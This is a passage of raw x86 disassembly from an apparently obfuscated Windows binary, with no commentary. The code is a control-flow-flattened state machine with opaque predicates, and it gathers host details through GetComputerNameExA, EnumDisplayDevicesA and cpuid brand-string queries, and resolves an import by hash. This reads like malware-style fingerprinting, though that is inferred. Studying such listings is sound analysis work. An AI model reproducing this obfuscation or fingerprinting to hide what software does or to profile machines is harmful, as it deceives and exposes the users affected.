mov dword [esi + 4], 0x99afacd4
jmp 0x43c5f4
cmp eax, 0xc8eefda2
jle 0x43efa0
cmp eax, 0xc8eefda3
je 0x440617
cmp eax, 0xc97b0f5c
je 0x440644
cmp eax, 0xca68a4bb
jne 0x43c5f4
mov eax, dword [esi + 0x1bc]
mov ecx, dword [esi + 0x1cc]
mov dword [ecx], eax
mov dword [esi + 4], 0x54bdfdf1
jmp 0x43c5f4
cmp eax, 0x544a6489
jle 0x43efe9
cmp eax, 0x544a648a
je 0x440678
cmp eax, 0x54bdfdf1
je 0x4406b0
cmp eax, 0x5511d7ab
jne 0x43c5f4
mov dword [esi + 4], 0x51d32d19
jmp 0x43c5f4
cmp eax, 0xac5fe778
jle 0x43f026
cmp eax, 0xac5fe779
je 0x4406c8
cmp eax, 0xad664ca7
je 0x440703
cmp eax, 0xad6c71dc
jne 0x43c5f4
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0xd89
imul ecx, ecx, 0x88329
imul eax, eax
imul edx, eax, 0x6057
shr ecx, 0xb
dec edx
add ecx, 0xffffff81
mov dword [esi + 0xc], ecx
mov ecx, 0xfc661b1c
cmp eax, edx
je 0x4415ef
mov ecx, 0x3c48eef2
jmp 0x4415ef
cmp eax, 0x34264d8d
je 0x44073e
cmp eax, 0x35597866
je 0x441af6
cmp eax, 0x3753f3ee
jne 0x43c5f4
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0xa8]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x4c]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0xeb136a04
jmp 0x43c5f4
cmp eax, 0xeff2e948
je 0x440765
cmp eax, 0xf11269bb
je 0x4407a3
cmp eax, 0xf1b064c1
jne 0x43c5f4
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0xd6]
imul eax, eax
imul edx, eax, 0x172b
dec edx
shl ecx, 5
add ecx, 0xffffbe80
mov dword [esi + 0xc], ecx
mov ecx, 0x968581c2
cmp edx, eax
je 0x4415ef
mov ecx, 0x3753f3ee
jmp 0x4415ef
cmp eax, 0x6fa6ffb7
je 0x4407d5
cmp eax, 0x6fbcf5f2
je 0x440812
cmp eax, 0x702affc8
jne 0x43c5f4
mov eax, dword [esi + 8]
mov ecx, 0x88
add eax, ecx
shr eax, 0xa
lea ecx, [eax + eax]
add eax, eax
add eax, 0xffffff90
mov dword [esi + 8], eax
mov eax, 0xbd25fd98
cmp ecx, 0x160
jae 0x4419da
mov eax, 0xeb8fa61f
jmp 0x4419da
cmp eax, 0x8a30bdf1
je 0x44084e
cmp eax, 0x8a50d471
je 0x44085d
cmp eax, 0x8a871d56
jne 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 6
and eax, 0x3fffff
imul ecx, eax, 0x52400
mov eax, ecx
shr eax, 0xc
mov dword [esi + 8], eax
mov eax, 0xd7f59a15
cmp ecx, 0x62000
jb 0x440cc3
jmp 0x441ad4
cmp eax, 0xeff5112
je 0x4408ad
cmp eax, 0xf0d7feb
je 0x4408c5
cmp eax, 0xf147251
jne 0x43c5f4
mov eax, dword [esi + 0x1a0]
mov byte [eax], 0
mov eax, dword [esi + 0xb4]
mov ecx, dword [0x47e141]
mov dword [eax + 8], ecx
mov ecx, dword [str.___em]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e139]
mov dword [eax], ecx
push 8
push 0x47e145
push 0xc
push dword [esi + 0xb4]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0xe5cca162
jmp 0x43c5f4
cmp eax, 0xc3804fe4
je 0x4408f0
cmp eax, 0xc3ca6584
je 0x440939
cmp eax, 0xc42db577
jne 0x43c5f4
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x38]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x3c]
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x98], eax
mov dword [esi + 4], 0x1b8136c5
jmp 0x43c5f4
cmp eax, 0x4e2f86ef
je 0x440973
cmp eax, 0x4eed20ef
je 0x441b0a
cmp eax, 0x501bf4fd
jne 0x43c5f4
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov dword [esi + 4], 0x6f1d3270
jmp 0x43c5f4
cmp eax, 0xa54e5c91
je 0x44098a
cmp eax, 0xa70b7a5f
je 0x4409b8
cmp eax, 0xa733cc37
jne 0x43c5f4
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0x3f12fa67
jmp 0x43c5f4
cmp eax, 0x2d2ce308
je 0x4409eb
cmp eax, 0x2d2eb519
je 0x440a1e
cmp eax, 0x2de43c62
jne 0x43c5f4
mov eax, dword [esi + 0x120]
mov ecx, dword [esi + 0x124]
mov dword [esi + 0x1f4], eax
mov dword [esi + 4], 0x5ff14786
jmp 0x43c5f4
cmp eax, 0xe6ea9729
je 0x440a52
cmp eax, 0xe7a5b604
je 0x440a8d
cmp eax, 0xe88a10db
jne 0x43c5f4
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x19f]
imul eax, eax
imul edx, eax, 0x88a5
dec edx
imul ecx, ecx, 0x2c
add ecx, 0xffffc590
mov dword [esi + 0xc], ecx
mov ecx, 0xadca8570
cmp edx, eax
je 0x4415ef
mov ecx, 0xedddc983
jmp 0x4415ef
cmp eax, 0x66d8f922
je 0x440aa2
cmp eax, 0x6795d964
je 0x440ac4
cmp eax, 0x68829f86
jne 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 7
imul edi, eax, 0x514f
mov dword [esi + 8], edi
call fcn.00407b67
call fcn.00407b67
mov eax, 0x25f9ede7
cmp edi, 0xaa
jl 0x4419da
mov eax, 0x6dcc8f89
jmp 0x4419da
cmp eax, 0x948b4e36
je 0x440aeb
cmp eax, 0x95a6045c
je 0x440b2e
cmp eax, 0x968581c2
jne 0x43c5f4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x50], eax
mov dword [esi + 4], 0xd7f59a15
jmp 0x43c5f4
cmp eax, 0x1c80085c
je 0x440b49
cmp eax, 0x1d34faff
je 0x440b76
cmp eax, 0x1deb4829
jne 0x43c5f4
mov eax, dword [esi + 0x1f0]
push dword [esi + 0x24]
call eax
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x118], ecx
mov dword [esi + 0x11c], eax
mov dword [esi + 4], 0x9696d002
jmp 0x43c5f4
cmp eax, 0xd37c3660
je 0x440bac
cmp eax, 0xd3aab5a4
je 0x440bbe
cmp eax, 0xd3f82c57
jne 0x43c5f4
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1c4], eax
mov eax, dword [esi + 0x14]
add eax, 0x10
mov dword [esi + 0x1c8], eax
mov dword [esi + 4], 0x80713ab0
jmp 0x43c5f4
cmp eax, 0x5b5bca45
je 0x440bf0
cmp eax, 0x5c3dcc02
je 0x440c18
cmp eax, 0x5c57845f
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 0xe
add eax, 0xffe38000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x9394c1b3
jmp 0x43c5f4
cmp eax, 0xb0ae65cd
je 0x440c50
cmp eax, 0xb20ffb79
je 0x440c9d
cmp eax, 0xb231cbe5
jne 0x43c5f4
xor eax, eax
push eax
push dword [esi + 0x20]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov dword [esi + 4], 0xeff2e948
jmp 0x43c5f4
cmp eax, 0x3f91de98
je 0x440ccd
cmp eax, 0x414a9608
je 0x440d05
cmp eax, 0x4182cf10
jne 0x43c5f4
mov ecx, dword [esi + 8]
add ecx, 0xb
and ecx, 0xfffffffe
mov dword [esi + 8], ecx
mov eax, 0x9187a371
cmp ecx, 0x44
jb 0x4419da
mov eax, 0xdf1a8d80
jmp 0x4419da
cmp eax, 0xfc1b5cbe
je 0x440d14
cmp eax, 0xfc661b1c
je 0x440d2e
cmp eax, 0xfddc0a35
jne 0x43c5f4
mov dword [esi + 0x130], 0x8000
mov dword [esi + 4], 0xb6fc958b
jmp 0x43c5f4
cmp eax, 0x7e308d03
je 0x440d46
cmp eax, 0x7f650479
je 0x440d69
cmp eax, 0x7fc7bb20
jne 0x43c5f4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xf4], eax
mov dword [esi + 4], 0x6d1e5bbd
jmp 0x43c5f4
cmp eax, 0x87e8b295
je 0x440d81
cmp eax, 0x887d932f
je 0x440db0
cmp eax, 0x892dc24b
jne 0x43c5f4
push eax
sub esp, 0x1a4
mov eax, esp
mov dword [esi + 0x20], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x5c], eax
mov dword [esi + 4], 0x573d535a
jmp 0x43c5f4
cmp eax, 0x8545688
je 0x440e00
cmp eax, 0x9d05032
je 0x440e30
cmp eax, 0xa8fd1b9
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 7
and eax, 0xffffff
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x3217
dec edx
add eax, 0xfffffed5
mov dword [esi + 0xc], eax
mov eax, 0x3f91de98
cmp edx, ecx
je 0x441ad4
mov eax, 0x58d1342e
jmp 0x441ad4
cmp eax, 0xbc179828
je 0x440e46
cmp eax, 0xbcf9755f
je 0x440e92
cmp eax, 0xbd25fd98
jne 0x43c5f4
push 4
push 0x47e051
push 6
push dword [esi + 0x88]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0xfb24f015
jmp 0x43c5f4
cmp eax, 0x4c23bd11
je 0x440ec2
cmp eax, 0x4cfdc644
je 0x440ece
cmp eax, 0x4d2b97c4
jne 0x43c5f4
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0xd3]
imul ecx, ecx
imul edx, ecx, 0x3ac9
dec edx
add eax, 0xffffff1d
mov dword [esi + 0xc], eax
mov eax, 0xd07c9f2c
cmp edx, ecx
je 0x441ad4
mov eax, 0x15c1292f
jmp 0x441ad4
cmp eax, 0xa2476e8f
je 0x440eda
cmp eax, 0xa273d5d7
je 0x440f10
cmp eax, 0xa2dbf599
jne 0x43c5f4
imul ecx, dword [esi + 8], 0x2500
add ecx, 0x192d00
mov eax, ecx
shr eax, 0xc
mov dword [esi + 8], eax
mov eax, 0x508f3e2c
cmp ecx, 0xb0000
jae 0x4419da
mov eax, 0xc5a14784
jmp 0x4419da
cmp eax, 0x2b4829da
je 0x440f4a
cmp eax, 0x2c2e24d9
je 0x440f86
cmp eax, 0x2c737f8a
jne 0x43c5f4
push 6
push 0x47e07f
push 0xd
push dword [esi + 0x94]
call fcn.00441c50
add esp, 0x10
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x94]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0xdb7dcd1f
jmp 0x43c5f4
cmp eax, 0xe34bf198
je 0x440fb2
cmp eax, 0xe482de3a
je 0x440fe8
cmp eax, 0xe5acd740
jne 0x43c5f4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x4c], eax
mov dword [esi + 4], 0x968581c2
jmp 0x43c5f4
cmp eax, 0x63338662
je 0x44101d
cmp eax, 0x63ec7fa0
je 0x441037
cmp eax, 0x6508c43c
jne 0x43c5f4
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x74]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov dword [esi + 0x14c], eax
mov dword [esi + 4], 0x4836b842
jmp 0x43c5f4
cmp eax, 0x9394c1b3
je 0x441052
cmp eax, 0x93bd5b33
je 0x441070
cmp eax, 0x940f8e51
jne 0x43c5f4
push 0x15
push dword [esi + 0xac]
push dword [esi + 0x50]
call fcn.0044ac30
add esp, 0xc
push dword [esi + 0x50]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0xf8]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov dword [esi + 0x194], eax
mov dword [esi + 4], 0xd3aab5a4
jmp 0x43c5f4
cmp eax, 0x1679ca20
je 0x44109f
cmp eax, 0x17c84498
je 0x4410b9
cmp eax, 0x184b7ead
jne 0x43c5f4
imul eax, dword [esi + 0xc], 0xd600
shr eax, 1
and eax, 0x7ffff000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x2d2eb519
jmp 0x43c5f4
cmp eax, 0xce82bb8e
je 0x4410e8
cmp eax, 0xcf6efbf8
je 0x441142
cmp eax, 0xd07c9f2c
jne 0x43c5f4
push 6
push 0x47e06c
push 0xa
push dword [esi + 0x90]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0xaf90a898
jmp 0x43c5f4
cmp eax, 0x58d1342e
je 0x441176
cmp eax, 0x5963f80b
je 0x441185
cmp eax, 0x5aad65f8
jne 0x43c5f4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x9c], eax
mov dword [esi + 4], 0x95a6045c
jmp 0x43c5f4
cmp eax, 0xaf866bea
je 0x4411bb
cmp eax, 0xaf90a898
je 0x4411e1
cmp eax, 0xafae64a0
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 0xf
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x39e9
dec edx
add eax, 0xee
mov dword [esi + 0xc], eax
mov eax, 0x66d8f922
cmp edx, ecx
je 0x441ad4
mov eax, 0x43746018
jmp 0x441ad4
cmp eax, 0x3b651110
je 0x441206
cmp eax, 0x3c323645
je 0x441233
cmp eax, 0x3c48eef2
jne 0x43c5f4
push dword [esi + 0x104]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0xc693a5f4
jmp 0x43c5f4
cmp eax, 0xf7d2225a
je 0x441251
cmp eax, 0xf80ef965
je 0x44126f
cmp eax, 0xfb24f015
jne 0x43c5f4
mov eax, dword [esi + 0x88]
mov ecx, dword [eax]
mov eax, dword [eax + 3]
mov dword [esi + 0x208], ecx
mov dword [esi + 0x20b], eax
lea eax, [esi + 0x208]
push eax
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x100]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x164], eax
mov dword [esi + 4], 0xafae64a0
jmp 0x43c5f4
cmp eax, 0x72ba1575
je 0x441287
cmp eax, 0x72e61f71
je 0x4412a4
cmp eax, 0x73342376
jne 0x43c5f4
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x1c], eax
mov dword [esi + 4], 0x24c4ac5f
jmp 0x43c5f4
cmp eax, 0x8cbc9033
je 0x4412c1
cmp eax, 0x8d4b6c74
je 0x4412dc
cmp eax, 0x8d6bc596
jne 0x43c5f4
imul ecx, dword [esi + 8], 0x68
add ecx, 0xffffff4f
mov dword [esi + 8], ecx
mov eax, 0x3e11c0be
cmp ecx, 0x3c
jb 0x4419da
mov eax, 0xb007f694
jmp 0x4419da
cmp eax, 0xfe595c0
je 0x441308
cmp eax, 0x106df04d
je 0x441356
cmp eax, 0x10e51950
jne 0x43c5f4
push dword [esi + 0x3c]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x38]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0xdf1a8d80
jmp 0x43c5f4
cmp eax, 0xc5a14784
je 0x44139a
cmp eax, 0xc693a5f4
je 0x4413c8
cmp eax, 0xc813c3f7
jne 0x43c5f4
mov dword [esi + 4], 0x48ef760
jmp 0x43c5f4
cmp eax, 0x50f6e66b
je 0x4413e5
cmp eax, 0x5125f621
je 0x44141e
cmp eax, 0x51bd2630
jne 0x43c5f4
mov dword [esi + 4], 0xfddc0a35
jmp 0x43c5f4
cmp eax, 0xa9431632
je 0x441439
cmp eax, 0xa9dcb452
je 0x441467
cmp eax, 0xab29176d
jne 0x43c5f4
mov eax, dword [esi + 8]
mov ecx, eax
shl ecx, 6
lea edi, [eax + ecx]
add edi, 0xffffdd37
mov dword [esi + 8], edi
push edi
push 0x30c5
push 0x9c2
push 0x3f6c
call fcn.00441b30
add esp, 0x10
push edi
push 0xa0c
push 0x4221
push 0x3130
call fcn.00441b30
add esp, 0x10
mov eax, 0x9187a371
cmp edi, 0x3a
jae 0x441ad4
mov eax, 0x2b4829da
jmp 0x441ad4
cmp eax, 0x30648f0b
je 0x441487
cmp eax, 0x31eef73b
je 0x4414d7
cmp eax, 0x337bd74f
jne 0x43c5f4
push eax
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x68], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x6c], eax
mov dword [esi + 4], 0x27da3245
jmp 0x43c5f4
cmp eax, 0xea92231a
je 0x441521
cmp eax, 0xeb136a04
je 0x441542
cmp eax, 0xeb8fa61f
jne 0x43c5f4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x70]
add eax, 0x14
mov dword [esi + 0x13c], eax
mov dword [esi + 4], 0xa32a6cc8
jmp 0x43c5f4
cmp eax, 0x6b2ca038
je 0x441573
cmp eax, 0x6bb23f40
je 0x441589
cmp eax, 0x6d1e5bbd
jne 0x43c5f4
mov dword [esi + 4], 0xc54b6276
jmp 0x43c5f4
cmp eax, 0x99a5bf2a
je 0x4415c8
cmp eax, 0x99afacd4
je 0x4415f7
cmp eax, 0x9c9702bb
jne 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 5
add eax, 0xfffe1e00
and eax, 0xfffffe00
mov dword [esi + 8], eax
call fcn.00407b67
mov dword [esi + 4], 0x87e8b295
jmp 0x43c5f4
cmp eax, 0x23ed04b4
je 0x441617
cmp eax, 0x24ae5f8a
je 0x44164f
cmp eax, 0x24c4ac5f
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 0x18
add eax, 0x88d7f6a0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xe5acd740
jmp 0x43c5f4
cmp eax, 0xda81f155
je 0x44166a
cmp eax, 0xdaf1472c
je 0x4416ff
cmp eax, 0xdb7dcd1f
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 0x14
or eax, 0x145
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x1e4a00
jmp 0x43c5f4
cmp eax, 0x5ed7de2e
je 0x441719
cmp eax, 0x5ef3a07c
je 0x441734
cmp eax, 0x5f61c8e0
jne 0x43c5f4
imul ecx, dword [esi + 0xc], 0xa7
shr ecx, 8
mov eax, ecx
shl eax, 8
sub eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4ec9
dec edx
add eax, 0xffffff48
mov dword [esi + 0xc], eax
mov eax, 0x7dab546c
cmp ecx, edx
je 0x441ad4
mov eax, 0x7f650479
jmp 0x441ad4
cmp eax, 0xb5ce3146
je 0x441749
cmp eax, 0xb6fc958b
je 0x441773
cmp eax, 0xb70048b5
jne 0x43c5f4
mov ecx, dword [esi + 8]
shr ecx, 4
mov eax, 0xd7f59a15
and ecx, 0xffffe00
mov dword [esi + 8], ecx
je 0x441ad4
mov eax, 0x947d9de4
jmp 0x441ad4
cmp eax, 0x43ac84ec
je 0x44178e
cmp eax, 0x43c33c99
je 0x4417bb
cmp eax, 0x44a5b3ed
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 0xb
mov ecx, eax
shl ecx, 0xa
imul eax, eax
imul edx, eax, 0x3261
dec edx
add ecx, 0xffffff7b
mov dword [esi + 0xc], ecx
mov ecx, 0x2c737f8a
cmp edx, eax
je 0x4415ef
mov ecx, 0xda81f155
jmp 0x4415ef
cmp eax, 0xfee511af
je 0x4417df
cmp eax, 0xfff311e1
je 0x4417f6
cmp eax, 0x1e4a00
jne 0x43c5f4
push dword [esi + 0x34]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x30]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xa8fd1b9
jmp 0x43c5f4
cmp eax, 0x742fe649
je 0x441832
cmp eax, 0x74984231
jne 0x441adc
mov eax, dword [esi + 0x98]
mov byte [eax + 0x1b], 0
mov dword [esi + 4], 0xd3246476
jmp 0x43c5f4
cmp eax, 0x80713ab0
je 0x4418aa
cmp eax, 0x81693e59
jne 0x43c5f4
imul ecx, dword [esi + 8], 0xf5
add ecx, 0xffffff65
mov dword [esi + 8], ecx
mov eax, 0x2b4829da
cmp ecx, 0x1e
jb 0x4419da
mov eax, 0x9394c1b3
jmp 0x4419da
cmp eax, 0x69f4ad
je 0x4418d0
cmp eax, 0x1fe1638
jne 0x43c5f4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1c4]
mov dword [eax + 0x1c], ecx
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xd8], eax
mov dword [esi + 0xdc], ebx
mov dword [esi + 0xe0], ecx
mov dword [esi + 0xe4], edx
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xd8]
mov dword [esi + 0x1d0], eax
mov dword [esi + 4], 0x825aab18
jmp 0x43c5f4
cmp eax, 0xb7228b91
je 0x4418fc
cmp eax, 0xb76d1135
jne 0x43c5f4
push dword [esi + 0x6c]
push 0x3d95e230
call fcn.004455e0
add esp, 8
push 0
call eax
mov dword [esi + 0x138], eax
mov dword [esi + 4], 0xbab04675
jmp 0x43c5f4
cmp eax, 0x44a8ae69
je 0x44192e
cmp eax, 0x44eb1583
jne 0x43c5f4
mov ecx, dword [esi + 8]
shl ecx, 9
mov eax, 0x15c1292f
and ecx, 0xffffe00
mov dword [esi + 8], ecx
je 0x4419da
mov eax, 0xb231cbe5
jmp 0x4419da
cmp eax, 0x9ce38987
je 0x44199a
cmp eax, 0x9d83e824
jne 0x43c5f4
mov eax, dword [esi + 0xc]
lea ecx, [eax + 0xcd]
mov edx, ecx
imul edx, ecx
shl ecx, 6
imul edi, edx, 0x22a9
dec edi
lea eax, [ecx + eax*4]
add eax, 0x2ae
mov dword [esi + 0xc], eax
mov eax, 0x4836b842
cmp edx, edi
je 0x441ad4
mov eax, 0xe0196d78
jmp 0x441ad4
cmp eax, 0x25f9ede7
je 0x4419b5
cmp eax, 0x26f2d5a5
jne 0x43c5f4
imul eax, dword [esi + 0xc], 0x7978
add eax, 0xff70b470
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x10e51950
jmp 0x43c5f4
cmp eax, 0xdbb284e8
je 0x4419e2
cmp eax, 0xde9aa5c8
jne 0x43c5f4
imul edi, dword [esi + 8], 0x4e9b8000
mov ebx, 0x91e0d370
add edi, 0x38538000
mov dword [esi + 8], edi
je 0x43eeaf
mov ebx, 0xf6f31fa8
push edi
push 0x6300
push 0x5198
call fcn.00429e5e
add esp, 0xc
push edi
call fcn.0043c5dc
add esp, 4
mov dword [esi + 4], ebx
jmp 0x43c5f4
cmp eax, 0x5ff14786
je 0x441a06
cmp eax, 0x605430bd
jne 0x43c5f4
mov eax, dword [esi + 0x19c]
mov word [eax], 0xa
push 2
push 0x55
call fcn.0045aa23
add esp, 8
mov dword [esi + 0x10c], eax
mov dword [esi + 4], 0xc813c3f7
jmp 0x43c5f4
cmp eax, 0x8ec83fcd
je 0x441a25
cmp eax, 0x8f1e0318
jne 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 0xf
add eax, 0xffffff2d
mov dword [esi + 8], eax
mov dword [esi + 4], 0x9c9702bb
jmp 0x43c5f4
cmp eax, 0x11382793
je 0x441a4b
cmp eax, 0x11a645dd
jne 0x43c5f4
imul edi, dword [esi + 8], 0xd5
add edi, 0x18
shr edi, 9
and edi, 0xfffffff0
mov dword [esi + 8], edi
call fcn.00407b67
push 0x3653
push 0x339a
push edi
push 0x54f
call fcn.00441b30
add esp, 0x10
mov eax, 0xbb90c67c
cmp edi, 0x24
jae 0x441ad4
mov eax, 0x2ce85150
jmp 0x441ad4
cmp eax, 0xc8356203
je 0x441a7b
cmp eax, 0xc87144d5
jne 0x43c5f4
mov eax, dword [esi + 0xc]
add eax, 0xffffffd9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x8257
dec edx
shr eax, 1
and eax, 0x7fffff
mov dword [esi + 0xc], eax
mov eax, 0x737d486
cmp edx, ecx
je 0x441ad4
mov eax, 0x1deb4829
jmp 0x441ad4
cmp eax, 0x51d32d19
je 0x441a99
cmp eax, 0x531bdc85
jne 0x43c5f4
mov ecx, dword [esi + 8]
shr ecx, 0x12
add ecx, 0x11
mov dword [esi + 8], ecx
mov eax, 0x3e11c0be
cmp ecx, 0x83
je 0x441ad4
mov eax, 0xd7f59a15
jmp 0x441ad4
cmp eax, 0xabf48849
je 0x441ab1
cmp eax, 0xac006f05
jne 0x43c5f4
mov eax, dword [esi + 0xc]
lea eax, [eax + eax*2]
shl eax, 0xe
add eax, 0x390022
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc5a14784
jmp 0x43c5f4
mov dword [esi + 4], 0xd3f82c57
jmp 0x43c5f4
mov edi, dword [esi + 8]
mov ebx, edi
shr ebx, 0xd
mov dword [esi + 8], ebx
push ebx
call fcn.0043c5dc
add esp, 4
push 0x536b
push ebx
push 0x1e01
push 0x2ef3
call fcn.00441c50
add esp, 0x10
mov eax, 0x6894e65e
cmp edi, 0xce000
jb 0x4419da
mov eax, 0x13517d95
jmp 0x4419da
imul ecx, dword [esi + 0xc], 0x8d
lea eax, [ecx - 0x28c2]
add ecx, 0xffffd74b
imul eax, eax
shr ecx, 0x10
imul edx, eax, 0x524f
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xfbe5a0ab
cmp eax, edx
je 0x4415ef
mov ecx, 0x7b8d484e
jmp 0x4415ef
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x28]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0xdaf1472c
jmp 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 0x13
add eax, 0xb57ff35
mov dword [esi + 8], eax
mov dword [esi + 4], 0x1e4a00
jmp 0x43c5f4
lea eax, [esi + 0x1fc]
push eax
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0xad6c71dc
jmp 0x43c5f4
mov edi, dword [esi + 8]
shl edi, 5
add edi, 0x657e6c0
and edi, 0xfff80000
mov dword [esi + 8], edi
push edi
push 0xf89
push 0x575b
call fcn.00429e5e
add esp, 0xc
mov eax, 0x8c283cc1
cmp edi, 0x72
jl 0x4419da
mov eax, 0x80713ab0
jmp 0x4419da
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x1c]
push dword [esi + 0x1c]
call fcn.00447ecc
add esp, 4
mov dword [esi + 0x180], eax
push 1
push 0x800
call fcn.0045aa23
add esp, 8
mov dword [esi + 0x108], eax
mov dword [esi + 4], 0x5c84e850
jmp 0x43c5f4
mov eax, dword [esi + 8]
mov ecx, 0xdb
add eax, ecx
shr eax, 0xf
lea eax, [eax*8 + 0x4e8]
shr eax, 0xd
mov dword [esi + 8], eax
push eax
push 0x5821
push 0x6169
call fcn.00429e5e
add esp, 0xc
mov dword [esi + 4], 0x892dc24b
jmp 0x43c5f4
mov eax, dword [esi + 0x1e0]
mov byte [eax], 0
mov dword [esi + 4], 0xd6aa9c87
jmp 0x43c5f4
mov ecx, dword [esi + 8]
mov eax, 0xfffffede
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0x3f91de98
cmp ecx, 0x72
jge 0x4419da
mov eax, 0x5ce1c3eb
jmp 0x4419da
mov edi, dword [esi + 8]
shl edi, 9
add edi, 0xffffff1b
mov dword [esi + 8], edi
push edi
push 0x31a
push 0x1f66
push 0x49c0
call fcn.00441c50
add esp, 0x10
mov eax, 0x8a50d471
cmp edi, 0xe4
jge 0x441ad4
mov eax, 0xb03f9c2e
jmp 0x441ad4
mov dword [esi + 4], 0x2faba793
jmp 0x43c5f4
mov eax, dword [esi + 0xa8]
mov byte [eax + 8], 0
mov eax, dword [esi + 0xa8]
mov ecx, dword [0x47e106]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e102]
